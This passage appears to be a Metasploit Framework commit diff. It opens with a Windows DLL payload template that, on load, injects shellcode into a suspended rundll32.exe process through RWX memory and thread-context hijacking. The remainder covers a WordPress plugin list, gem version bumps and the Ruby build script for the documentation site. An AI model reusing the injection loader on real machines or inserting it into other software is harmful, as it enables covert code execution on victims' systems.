ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}
ExitThread(0);
}
#include <windows.h>
#include "template.h"
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
// Use a combination semaphore / event to check if the payload is already running and when it is, don't start a new
// instance. This is to fix situations where the DLL is loaded multiple times into a host process and prevents the
// payload from being executed multiple times. An event object is used to determine if the payload is currently running
// in a child process. The event handle is created by this process (the parent) and configured to be inherited by the
// child. While the child process is running, the event handle can be successfully opened. When the child process exits,
// the event handle that was inherited from the parent will be automatically closed and subsequent calls to open it will
// fail. This indicates that the payload is no longer running and a new instance can be created.
BOOL Synchronize(void) {
BOOL bResult = TRUE;
BOOL bRelease = FALSE;
HANDLE hSemaphore = NULL;
HANDLE hEvent = NULL;
SECURITY_ATTRIBUTES SecurityAttributes;
// step 1: define security attributes that permit handle inheritance
SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
SecurityAttributes.lpSecurityDescriptor = NULL;
SecurityAttributes.bInheritHandle = TRUE;
do {
// step 2: create a semaphore to synchronize this routine
if ((hSemaphore = CreateSemaphoreA(&SecurityAttributes, 1, 1, szSyncNameS)) == NULL) {
// if the semaphore creation fails, break out using the default TRUE result, this shouldn't happen
break;
}
bResult = FALSE;
// step 3: acquire the semaphore, if the operation timesout another instance is already running so exit
if (WaitForSingleObject(hSemaphore, 0) == WAIT_TIMEOUT) {
break;
}
bRelease = TRUE;
// step 4: check if the event already exists
if (hEvent = OpenEventA(READ_CONTROL | SYNCHRONIZE, TRUE, szSyncNameE)) {
// if the event already exists, do not continue
CloseHandle(hEvent);
break;
}
// step 5: if the event does not already exist, create a new one that will be inherited by the child process
if (hEvent = CreateEventA(&SecurityAttributes, TRUE, TRUE, szSyncNameE)) {
bResult = TRUE;
}
} while (FALSE);
// step 6: release and close the semaphore as necessary
if (hSemaphore) {
if (bRelease) {
ReleaseSemaphore(hSemaphore, 1, NULL);
}
CloseHandle(hSemaphore);
}
// *do not* close the event handle (hEvent), it needs to be inherited by the child process
return bResult;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
if (Synchronize()) {
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
DWORD result = CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS|CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, &si, &pi);
// If we fail, try again without the CREATE_BREAKAWAY_FROM_JOB flag in the event that we are in a job but we can't break away from it.
if (result == FALSE){
result = CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi);
}
if (result) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}
ExitThread(0);
}
+1 -1
View File
@@ -4,7 +4,7 @@
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
@@ -26,9 +26,11 @@ wp-symposium
photo-gallery
pie-register
wysija-newsletters
dzs-zoomsounds
all-in-one-wp-migration
wp-ultimate-csv-importer
wp-symposium
masterstudy-lms-learning-management-system
wp-gdpr-compliance
wp-automatic
wp-easycart
@@ -36,10 +38,12 @@ dukapress
loginizer
email-subscribers
wps-hide-login
secure-copy-content-protection
wordpress-mobile-pack
learnpress
wp-mobile-edition
boldgrid-backup
modern-events-calendar-lite
gi-media-library
chopslider
bulletproof-security
@@ -48,4 +52,5 @@ simple-backup
subscribe-to-comments
easy-wp-smtp
duplicator_download
custom-registration-form-builder-with-submission-manager
woocommerce-abandoned-cart
+14711 -1406
View File
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -6,5 +6,5 @@ vendor
# These files will be generated by build.rb and do not need to be committed
docs
metasploit-framework.wiki
metasploit-framework.wiki.old
index.md
+1
View File
@@ -0,0 +1 @@
docs.metasploit.com
+12 -12
View File
@@ -1,6 +1,6 @@
GIT
remote: https://github.com/rapid7/just-the-docs.git
revision: de685cdfb62d1f962e01898f31c9854ef5ebca0e
revision: 9c5e78f98185406e50ab04f523a86bd857e186cf
branch: r7_ver_custom
specs:
just-the-docs (0.3.3)
@@ -17,17 +17,17 @@ GEM
byebug (11.1.3)
coderay (1.1.3)
colorator (1.1.0)
concurrent-ruby (1.1.9)
concurrent-ruby (1.1.10)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
eventmachine (1.2.7)
ffi (1.15.4)
ffi (1.15.5)
forwardable-extended (2.6.0)
http_parser.rb (0.8.0)
i18n (1.8.11)
i18n (1.10.0)
concurrent-ruby (~> 1.0)
jekyll (4.2.1)
jekyll (4.2.2)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
@@ -44,20 +44,20 @@ GEM
terminal-table (~> 2.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-sass-converter (2.1.0)
jekyll-sass-converter (2.2.0)
sassc (> 2.0.1, < 3.0)
jekyll-seo-tag (2.7.1)
jekyll-seo-tag (2.8.0)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
kramdown (2.3.1)
kramdown (2.3.2)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.7.0)
listen (3.7.1)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.4.0)
@@ -70,13 +70,13 @@ GEM
pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.6)
public_suffix (4.0.7)
rake (13.0.6)
rb-fsevent (0.11.0)
rb-fsevent (0.11.1)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.1)
rouge (3.28.0)
safe_yaml (1.0.5)
sassc (2.4.0)
ffi (~> 1.9)
+17 -5
View File
@@ -1,6 +1,19 @@
# Metasploit docs site
## Setup
This folder maintains the docs for https://docs.metasploit.com/ and https://github.com/rapid7/metasploit-framework/wiki
## Architecture
How it works:
- `build.rb` - The main entry point for generating the docs site from the old Github Wiki format files within `metasploit-framework.wiki/`
- `navigation.rb` - Stores the mapping of `metasploit-framework.wiki` files to the website's navigational structure
- `metasploit-framework.wiki/` - The raw markdown documentation files. Modify these files when updating the site. These files originally came from https://github.com/rapid7/metasploit-framework/wiki
- `metasploit-framework.wiki.old/` - A separate clone of https://github.com/rapid7/metasploit-framework/wiki
Behind the scenes these docs are built and deployed to https://docs.metasploit.com/
## Setup
### Developer build
@@ -30,9 +43,8 @@ bundle exec ruby build.rb --production --serve
Now visit http://127.0.0.1:4000/metasploit-framework/
### Modifying pages
**Note** - to modify pages, for now, the changes will need to be made to [Metasploit Wiki](https://github.com/rapid7/metasploit-framework/wiki).
However the `docs` folder can be edited locally. Jekyll will rebuild the required file, and the changes can be seen after refreshing your browser.
### Contributing Documentation
When adding test files locally, Jekyll will not always regenerate the navigation for all pages. It is easier to rebuild the entire site again.
You can modify existing documentation files within `metasploit-framework.wiki/` with an editor of your choice and send a pull request.
Note that adding a new page will also require modifying `navigation.rb` to appear on the navigation menu.
+2 -1
View File
@@ -2,7 +2,7 @@
title: 'Metasploit Documentation | Penetration Testing Software, Pen Testing Security'
description: View Metasploit Framework Documentation
searchTitle: Metasploit Documentation
baseurl: '/metasploit-framework'
baseurl: ''
url: 'https://rapid7.github.io/metasploit-framework'
logo: assets/images/favicon.png
@@ -26,6 +26,7 @@ exclude:
- '*.rb'
- 'build.rb'
- metasploit-framework.wiki
- metasploit-framework.wiki.old
- README.md
# just-the-docs config
+164 -734
View File
@@ -2,8 +2,9 @@ require 'fileutils'
require 'uri'
require 'open3'
require 'optparse'
require_relative './navigation'
# Temporary build module to help migrate the Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
# Temporary build module to help migrate and build the Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
# supported by Jekyll, as well as creating a hierarchical folder structure for nested documentation
#
# For now the doc folder only contains the key files for building the docs site and no content. The content is created on demand
@@ -12,706 +13,31 @@ require 'optparse'
# In the future, the markdown files will be committed directly to the metasploit-framework directory, the wiki history will be
# merged with metasploit-framework, and the old wiki will no longer be updated.
module Build
# The metasploit-framework.wiki files that are committed to Metasploit framework's repository
WIKI_PATH = 'metasploit-framework.wiki'.freeze
PRODUCTION_BUILD_ARTIFACTS = '_site'
# A locally cloned version of https://github.com/rapid7/metasploit-framework/wiki
OLD_WIKI_PATH = 'metasploit-framework.wiki.old'.freeze
PRODUCTION_BUILD_ARTIFACTS = '_site'.freeze
# For now we Git clone the existing metasploit wiki and generate the Jekyll markdown files
# for each build. This allows changes to be made to the existing wiki until it's migrated
# into the main framework repo
module Git
def self.clone_wiki!
unless File.exist?(WIKI_PATH)
Build.run_command "git clone https://github.com/rapid7/metasploit-framework.wiki.git #{WIKI_PATH}", exception: true
unless File.exist?(OLD_WIKI_PATH)
Build.run_command "git clone https://github.com/rapid7/metasploit-framework.wiki.git #{OLD_WIKI_PATH}", exception: true
end
Build.run_command "cd #{WIKI_PATH}; git pull", exception: true
Build.run_command "cd #{OLD_WIKI_PATH}; git pull", exception: true
end
end
# Configuration for generating the new website hierachy, from the existing metasploit-framework wiki
# Configuration for generating the new website hierarchy, from the existing metasploit-framework wiki
class Config
include Enumerable
def initialize
@config = [
{
path: 'Home.md',
nav_order: 1
},
{
path: 'Code-Of-Conduct.md',
nav_order: 2
},
{
title: 'Using Metasploit',
folder: 'using-metasploit',
nav_order: 3,
children: [
{
title: 'Getting Started',
folder: 'getting-started',
nav_order: 1,
children: [
{
path: 'Nightly-Installers.md',
nav_order: 1
},
{
path: 'Reporting-a-Bug.md',
nav_order: 4
},
]
},
{
title: 'Basics',
folder: 'basics',
nav_order: 2,
children: [
{
path: 'Using-Metasploit.md',
title: 'Running modules',
nav_order: 2
},
{
path: 'How-to-use-msfvenom.md',
nav_order: 3
},
{
path: 'How-to-use-a-Metasploit-module-appropriately.md'
},
{
path: 'How-payloads-work.md'
},
{
path: 'Module-Documentation.md'
},
{
path: 'How-to-use-a-reverse-shell-in-Metasploit.md'
},
]
},
{
title: 'Intermediate',
folder: 'intermediate',
nav_order: 3,
children: [
{
path: 'Evading-Anti-Virus.md'
},
{
path: 'Payload-UUID.md'
},
{
path: 'Running-Private-Modules.md'
},
{
path: 'Exploit-Ranking.md'
},
{
path: 'Hashes-and-Password-Cracking.md'
},
{
path: 'msfdb:-Database-Features-&-How-to-Set-up-a-Database-for-Metasploit.md',
new_base_name: 'Metasploit-Database-Support.md',
title: 'Database Support'
},
]
},
{
title: 'Advanced',
folder: 'advanced',
nav_order: 4,
children: [
{
path: 'Metasploit-Web-Service.md'
},
{
title: 'Meterpreter',
folder: 'meterpreter',
children: [
{
path: 'Meterpreter.md',
title: 'Overview',
nav_order: 1
},
{
path: 'Meterpreter-Transport-Control.md',
title: without_prefix('Meterpreter ')
},
{
path: 'Meterpreter-Unicode-Support.md',
title: without_prefix('Meterpreter ')
},
{
path: 'Meterpreter-Paranoid-Mode.md',
title: without_prefix('Meterpreter ')
},
{
path: 'The-ins-and-outs-of-HTTP-and-HTTPS-communications-in-Meterpreter-and-Metasploit-Stagers.md'
},
{
path: 'Meterpreter-Timeout-Control.md',
title: without_prefix('Meterpreter ')
},
{
path: 'Meterpreter-Wishlist.md',
title: without_prefix('Meterpreter ')
},
{
path: 'Meterpreter-Sleep-Control.md',
title: without_prefix('Meterpreter ')
},
{
path: 'Meterpreter-Configuration.md',
title: without_prefix('Meterpreter ')
},
{
path: 'Meterpreter-Reliable-Network-Communication.md',
title: without_prefix('Meterpreter ')
},
{
path: 'Debugging-Dead-Meterpreter-Sessions.md'
},
{
path: 'Meterpreter-HTTP-Communication.md',
title: without_prefix('Meterpreter ')
},
{
path: 'Meterpreter-Stageless-Mode.md',
title: without_prefix('Meterpreter ')
},
{
path: 'How-to-get-started-with-writing-a-Meterpreter-script.md'
},
{
path: 'Powershell-Extension.md'
},
{
path: 'Python-Extension.md'
},
]
},
]
},
{
title: 'Other',
folder: 'other',
children: [
{
title: 'Oracle Support',
folder: 'oracle-support',
children: [
{
path: 'Oracle-Usage.md'
},
{
path: 'How-to-get-Oracle-Support-working-with-Kali-Linux.md'
},
]
},
{
path: 'Information-About-Unmet-Browser-Exploit-Requirements.md'
},
{
path: 'Why-CVE-is-not-available.md'
},
{
path: 'How-to-use-the-Favorite-command.md'
},
]
},
]
},
{
title: 'Development',
folder: 'development',
nav_order: 4,
children: [
{
title: 'Get Started ',
folder: 'get-started',
nav_order: 1,
children: [
{
path: 'Contributing-to-Metasploit.md',
nav_order: 1
},
{
path: 'dev/Setting-Up-a-Metasploit-Development-Environment.md',
nav_order: 2
},
{
path: 'Sanitizing-PCAPs.md',
nav_order: 3
},
{
path: "Navigating-and-Understanding-Metasploit's-Codebase.md",
new_base_name: 'Navigating-and-Understanding-Metasploits-Codebase.md',
title: 'Navigating the codebase'
},
{
title: 'Git',
folder: 'git',
children: [
{
path: 'Keeping-in-sync-with-rapid7-master.md'
},
{
path: 'git/Git-cheatsheet.md'
},
{
path: 'git/Using-Git.md'
},
{
path: 'git/Git-Reference-Sites.md'
},
{
path: 'Remote-Branch-Pruning.md'
},
]
},
]
},
{
title: 'Developing Modules',
folder: 'developing-modules',
nav_order: 2,
children: [
{
title: 'Guides',
folder: 'guides',
nav_order: 2,
children: [
{
path: 'How-to-get-started-with-writing-a-post-module.md',
title: 'Writing a post module'
},
{
path: 'Get-Started-Writing-an-Exploit.md',
title: 'Writing an exploit'
},
{
path: 'How-to-write-a-browser-exploit-using-HttpServer.md',
title: 'Writing a browser exploit'
},
{
title: 'Scanners',
folder: 'scanners',
nav_order: 2,
children: [
{
path: 'How-to-write-a-HTTP-LoginScanner-Module.md',
title: 'Writing a HTTP LoginScanner'
},
{
path: 'Creating-Metasploit-Framework-LoginScanners.md',
title: 'Writing an FTP LoginScanner'
},
]
},
{
path: 'How-to-get-started-with-writing-an-auxiliary-module.md',
title: 'Writing an auxiliary module'
},
{
path: 'How-to-use-command-stagers.md'
},
{
path: 'How-to-write-a-check()-method.md',
new_base_name: 'How-to-write-a-check-method.md'
},
{
path: 'How-to-check-Microsoft-patch-levels-for-your-exploit.md'
},
]
},
{
title: 'Libraries',
folder: 'libraries',
children: [
{
path: 'API.md',
nav_order: 0
},
{
title: 'Compiling C',
folder: 'c',
children: [
{
path: 'How-to-use-Metasploit-Framework-Compiler-Windows-to-compile-C-code.md',
title: 'Overview',
nav_order: 1
},
{
path: 'How-to-XOR-with-Metasploit-Framework-Compiler.md',
title: 'XOR Support'
},
{
path: 'How-to-decode-Base64-with-Metasploit-Framework-Compiler.md',
title: 'Base64 Support'
},
{
path: 'How-to-decrypt-RC4-with-Metasploit-Framework-Compiler.md',
title: 'RC4 Support'
},
]
},
{
path: 'How-to-log-in-Metasploit.md',
title: 'Logging'
},
{
path: 'How-to-use-Railgun-for-Windows-post-exploitation.md',
title: 'Railgun'
},
{
path: 'How-to-zip-files-with-Msf-Util-EXE.to_zip.md',
new_base_name: 'How-to-zip-files-with-Msf-Util-EXE-to_zip.md',
title: 'Zip'
},
{
path: 'Handling-Module-Failures-with-`fail_with`.md',
new_base_name: 'Handling-Module-Failures-with-fail_with.md',
title: 'Fail_with'
},
{
path: 'How-to-use-Msf-Auxiliary-AuthBrute-to-write-a-bruteforcer.md',
title: 'AuthBrute'
},
{
path: 'How-to-Use-the-FILEFORMAT-mixin-to-create-a-file-format-exploit.md',
title: 'Fileformat'
},
{
path: 'SQL-Injection-(SQLi)-Libraries.md',
new_base_name: 'SQL-Injection-Libraries.md',
title: 'SQL Injection'
},
{
path: 'How-to-use-Powershell-in-an-exploit.md',
title: 'Powershell'
},
{
path: 'How-to-use-the-Seh-mixin-to-exploit-an-exception-handler.md',
title: 'SEH Exploitation'
},
{
path: 'How-to-clean-up-files-using-FileDropper.md',
title: 'FileDropper'
},
{
path: 'How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug.md',
title: 'PhpExe'
},
{
title: 'HTTP',
folder: 'http',
children: [
{
path: 'How-to-send-an-HTTP-request-using-Rex-Proto-Http-Client.md'
},
{
path: 'How-to-parse-an-HTTP-response.md'
},
{
path: 'How-to-write-a-module-using-HttpServer-and-HttpClient.md'
},
{
path: 'How-to-Send-an-HTTP-Request-Using-HttpClient.md'
},
{
path: 'How-to-write-a-browser-exploit-using-BrowserExploitServer.md',
title: 'BrowserExploitServer'
},
]
},
{
title: 'Deserialization',
folder: 'deserialization',
children: [
{
path: 'Dot-Net-Deserialization.md'
},
{
path: 'Generating-`ysoserial`-Java-serialized-objects.md',
new_base_name: 'Generating-ysoserial-Java-serialized-objects.md',
title: 'Java Deserialization'
}
]
},
{
title: 'Obfuscation',
folder: 'obfuscation',
children: [
{
path: 'How-to-obfuscate-JavaScript-in-Metasploit.md',
title: 'JavaScript Obfuscation'
},
{
path: 'How-to-use-Metasploit-Framework-Obfuscation-CRandomizer.md',
title: 'C Obfuscation'
},
]
},
{
path: 'How-to-use-the-Msf-Exploit-Remote-Tcp-mixin.md',
title: 'TCP'
},
{
path: 'How-to-do-reporting-or-store-data-in-module-development.md',
title: 'Reporting and Storing Data'
},
{
path: 'How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows.md',
title: 'WbemExec'
},
{
title: 'SMB',
folder: 'smb',
children: [
{
path: 'What-my-Rex-Proto-SMB-Error-means.md'
},
{
path: 'Guidelines-for-Writing-Modules-with-SMB.md'
},
]
},
{
path: 'Using-ReflectiveDLL-Injection.md',
title: 'ReflectiveDLL Injection'
},
]
},
{
title: 'External Modules',
folder: 'external-modules',
nav_order: 3,
children: [
{
path: 'Writing-External-Metasploit-Modules.md',
title: 'Overview',
nav_order: 1
},
{
path: 'Writing-External-Python-Modules.md',
title: 'Writing Python Modules'
},
{
path: 'Writing-External-GoLang-Modules.md',
title: 'Writing GoLang Modules'
},
]
},
{
title: 'Module metadata',
folder: 'module-metadata',
nav_order: 3,
children: [
{
path: 'How-to-use-datastore-options.md'
},
{
path: 'Module-Reference-Identifiers.md'
},
{
path: 'Definition-of-Module-Reliability,-Side-Effects,-and-Stability.md',
new_base_name: 'Definition-of-Module-Reliability-Side-Effects-and-Stability.md'
},
]
}
]
},
{
title: 'Maintainers',
folder: 'maintainers',
children: [
{
title: 'Process',
folder: 'process',
children: [
{
path: 'Guidelines-for-Accepting-Modules-and-Enhancements.md'
},
{
path: 'How-to-deprecate-a-Metasploit-module.md'
},
{
path: 'Landing-Pull-Requests.md'
},
{
path: 'Assigning-Labels.md'
},
{
path: 'Adding-Release-Notes-to-PRs.md',
title: 'Release Notes'
},
{
path: 'Rolling-back-merges.md'
},
{
path: 'Unstable-Modules.md'
},
]
},
{
path: 'Committer-Rights.md'
},
{
title: 'Ruby Gems',
folder: 'ruby-gems',
children: [
{
path: 'How-to-add-and-update-gems-in-metasploit-framework.md',
title: 'Adding and Updating'
},
{
path: 'Testing-Rex-and-other-Gem-File-Updates-With-Gemfile.local-and-Gemfile.local.example.md',
new_base_name: 'using-local-gems.md',
title: 'Using local Gems'
},
{
path: 'Merging-Metasploit-Payload-Gem-Updates.md'
},
]
},
{
path: 'Committer-Keys.md'
},
{
path: 'Metasploit-Loginpalooza.md'
},
{
path: 'Metasploit-Hackathons.md'
},
{
path: 'Downloads-by-Version.md'
}
]
},
{
title: 'Quality',
folder: 'quality',
children: [
{
path: 'Style-Tips.md'
},
{
path: 'Msftidy.md'
},
{
path: 'Using-Rubocop.md'
},
{
path: 'Common-Metasploit-Module-Coding-Mistakes.md'
},
{
path: 'Writing-Module-Documentation.md'
},
]
},
{
title: 'Google Summer of Code',
folder: 'google-summer-of-code',
children: [
{
path: 'GSoC-2020-Project-Ideas.md',
title: without_prefix('GSoC')
},
{
path: 'How-to-Apply-to-GSoC.md'
},
{
path: 'GSoC-2017-Student-Proposal.md',
title: without_prefix('GSoC')
},
{
path: 'GSoC-2021-Project-Ideas.md',
title: without_prefix('GSoC')
},
{
path: 'GSoC-2017-Project-Ideas.md',
title: without_prefix('GSoC')
},
{
path: 'GSoC-2018-Project-Ideas.md',
title: without_prefix('GSoC')
},
{
path: 'GSoC-2017-Mentor-Organization-Application.md',
title: without_prefix('GSoC')
},
{
path: 'GSoC-2019-Project-Ideas.md',
title: without_prefix('GSoC')
},
]
},
{
title: 'Proposals',
folder: 'propsals',
children: [
{
path: 'Bundled-Modules-Proposal.md'
},
{
path: 'MSF6-Feature-Proposals.md'
},
{
path: 'RFC---Metasploit-URL-support.md',
new_base_name: 'Metasploit-URL-support-proposal.md'
},
{
path: 'Uberhandler.md'
},
{
path: 'Work-needed-to-allow-msfdb-to-use-postgresql-common.md'
},
{
path: 'Payload-Rename-Justification.md'
},
]
},
{
title: 'Roadmap',
folder: 'roadmap',
children: [
{
path: 'Metasploit-Framework-Wish-List.md'
},
{
path: 'Metasploit-5.0-Release-Notes.md',
new_base_name: 'Metasploit-5-Release-Notes.md',
title: 'Metasploit Framework 5.0 Release Notes'
},
{
path: '2017-Roadmap-Review.md'
},
{
path: 'Metasploit-6.0-Development-Notes.md',
new_base_name: 'Metasploit-6-Release-Notes.md',
title: 'Metasploit Framework 6.0 Release Notes'
},
{
path: '2017-Roadmap.md'
},
{
path: 'Metasploit-Breaking-Changes.md'
},
{
path: 'Metasploit-Data-Service-Enhancements-(Goliath).md',
new_base_name: 'Metasploit-Data-Service-Enhancements-Goliath.md',
title: 'Metasploit Data Service'
},
]
},
]
},
{
path: 'Contact.md',
nav_order: 5
},
]
def initialize(config)
@config = config
end
def validate!
@@ -721,7 +47,7 @@ module Build
each do |page|
page_keys = page.keys
allowed_keys = %i[path new_base_name nav_order title new_path folder children has_children parents]
allowed_keys = %i[old_wiki_path path new_base_name nav_order title new_path folder children has_children parents]
invalid_keys = page_keys - allowed_keys
raise "#{page} had invalid keys #{invalid_keys.join(', ')}" if invalid_keys.any?
end
@@ -743,7 +69,7 @@ module Build
# Ensure new file paths are only alphanumeric and hyphenated
new_paths = to_enum.map { |page| page[:new_path] }
invalid_new_paths = new_paths.select { |path| File.basename(path) !~ /^[a-zA-Z0-9_-]*\.md$/ }
invalid_new_paths = new_paths.reject { |path| File.basename(path) =~ /^[a-zA-Z0-9_-]*\.md$/ }
raise "Only alphanumeric and hyphenated file names required: #{invalid_new_paths}" if invalid_new_paths.any?
end
@@ -753,8 +79,6 @@ module Build
def ignored_paths
[
'_Sidebar.md',
'dev/_Sidebar.md',
]
end
@@ -812,10 +136,6 @@ module Build
child
end
def without_prefix(prefix)
proc { |value| value.gsub(/^#{prefix}/, '') }
end
attr_reader :config
end
@@ -880,11 +200,15 @@ module Build
new_links
end
# Scans for substrings such as '[[Reference Sites|Git Reference Sites]]'
# Scans for Github wiki flavor links such as:
# '[[Relative Path]]'
# '[[Custom name|Relative Path]]'
# '[[Custom name|relative-path]]'
# '[[Custom name|./relative-path.md]]'
def extract_relative_links(markdown)
existing_links = @links
new_links = {}
markdown.scan(/(\[\[([\w_ '().:,-]+)(?:\|([\w_ '():,.-]+))?\]\])/) do |full_match, left, right|
markdown.scan(/(\[\[([\w\/_ '().:,-]+)(?:\|([\w\/_ '():,.-]+))?\]\])/) do |full_match, left, right|
old_path = (right || left)
new_path = new_path_for(old_path)
if existing_links[full_match] && existing_links[full_match][:new_path] != new_path
@@ -913,7 +237,8 @@ module Build
old_path = old_path.gsub(' ', '-')
matched_pages = pages.select do |page|
!page[:folder] &&
page.fetch(:path).downcase.end_with?(old_path.downcase + '.md')
(File.basename(page[:path]).downcase == "#{File.basename(old_path)}.md".downcase ||
File.basename(page[:path]).downcase == "#{File.basename(old_path)}".downcase)
end
if matched_pages.empty?
raise "Missing path for #{old_path}"
@@ -937,13 +262,16 @@ module Build
'@jlee-r7',
'@jmartin-r7',
'@mcfakepants',
'@Op3n4M3',
'@gwillcox-r7',
'@red0xff',
'@mkienow-r7',
'@pbarry-r7',
'@schierlm',
'@timwr',
'@zerosteiner',
'@harmj0y'
'@zeroSteiner',
'@harmj0y',
]
ignored_tags = [
'@harmj0yDescription',
@@ -980,9 +308,35 @@ module Build
end
end
# Parses a wiki page and can add/remove/update a deprecation notice
class WikiDeprecationText
MAINTAINER_MESSAGE_PREFIX = "<!-- Maintainers: "
private_constant :MAINTAINER_MESSAGE_PREFIX
USER_MESSAGE_PREFIX = '**Documentation Update:'.freeze
private_constant :USER_MESSAGE_PREFIX
def self.upsert(original_wiki_content, old_path:, new_url:)
history_link = old_path.include?("#{WIKI_PATH}/Home.md") ? './Home/_history' : './_history'
maintainer_message = "#{MAINTAINER_MESSAGE_PREFIX} Please do not modify this file directly, create a pull request instead -->\n\n"
user_message = "#{USER_MESSAGE_PREFIX} This Wiki page should be viewable at [#{new_url}](#{new_url}). Or if it is no longer available, see this page's [previous history](#{history_link})**\n\n"
deprecation_text = maintainer_message + user_message
"#{deprecation_text}"
end
def self.remove(original_wiki_content)
original_wiki_content
.gsub(/^#{Regexp.escape(MAINTAINER_MESSAGE_PREFIX)}.*$\s+/, '')
.gsub(/^#{Regexp.escape(USER_MESSAGE_PREFIX)}.*$\s+/, '')
end
end
# Converts Wiki markdown pages into a valid Jekyll format
class WikiMigration
def run(config)
# Implements two core components:
# - Converts the existing Wiki markdown pages into a Jekyll format
# - Optionally updates the existing Wiki markdown pages with a link to the new website location
def run(config, options = {})
config.validate!
# Clean up new docs folder in preparation for regenerating it entirely from the latest wiki
@@ -996,6 +350,8 @@ module Build
layout: 'default',
**page.slice(:title, :has_children, :nav_order),
parent: (page[:parents][-1] || {})[:title],
warning: "Do not modify this file directly. Please modify metasploit-framework/docs/metasploit-framework.wiki instead",
old_path: page[:path] ? File.join(WIKI_PATH, page[:path]) : "none - folder automatically generated"
}.compact
page_config[:has_children] = true if page[:has_children]
@@ -1010,13 +366,26 @@ module Build
FileUtils.mkdir_p(File.dirname(new_path))
if page[:folder]
content = preamble.rstrip + "\n"
new_docs_content = preamble.rstrip + "\n"
else
content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8)
content = preamble + content
content = link_corrector.rerender(content)
old_path = File.join(WIKI_PATH, page[:path])
previous_content = File.read(old_path, encoding: Encoding::UTF_8)
new_docs_content = preamble + WikiDeprecationText.remove(previous_content)
new_docs_content = link_corrector.rerender(new_docs_content)
# Update the old Wiki with links to the new website
if options[:update_wiki_deprecation_notice]
new_url = options[:update_wiki_deprecation_notice][:new_website_url]
if page[:new_path] != 'home.md'
new_url += 'docs/' + page[:new_path].gsub('.md', '.html')
end
updated_wiki_content = WikiDeprecationText.upsert(previous_content, old_path: old_path, new_url: new_url)
old_wiki_path = File.join(WIKI_PATH, page[:path])
File.write(old_wiki_path, updated_wiki_content, mode: 'w', encoding: Encoding::UTF_8)
end
end
File.write(new_path, content, mode: 'w', encoding: Encoding::UTF_8)
File.write(new_path, new_docs_content, mode: 'w', encoding: Encoding::UTF_8)
end
# Now that the docs folder is created, time to move the home.md file out
@@ -1048,10 +417,7 @@ module Build
Port: 4000
}
)
server.mount_proc('/') do |_req, res|
res.set_redirect(WEBrick::HTTPStatus::TemporaryRedirect, '/metasploit-framework/')
end
server.mount('/metasploit-framework', WEBrick::HTTPServlet::FileHandler, PRODUCTION_BUILD_ARTIFACTS)
server.mount('/', WEBrick::HTTPServlet::FileHandler, PRODUCTION_BUILD_ARTIFACTS)
trap('INT') do
server.shutdown
rescue StandardError
@@ -1064,8 +430,8 @@ module Build
end
def self.run_command(command, exception: true)
puts command
result = ""
puts "[*] #{command}"
result = ''
::Open3.popen2e(
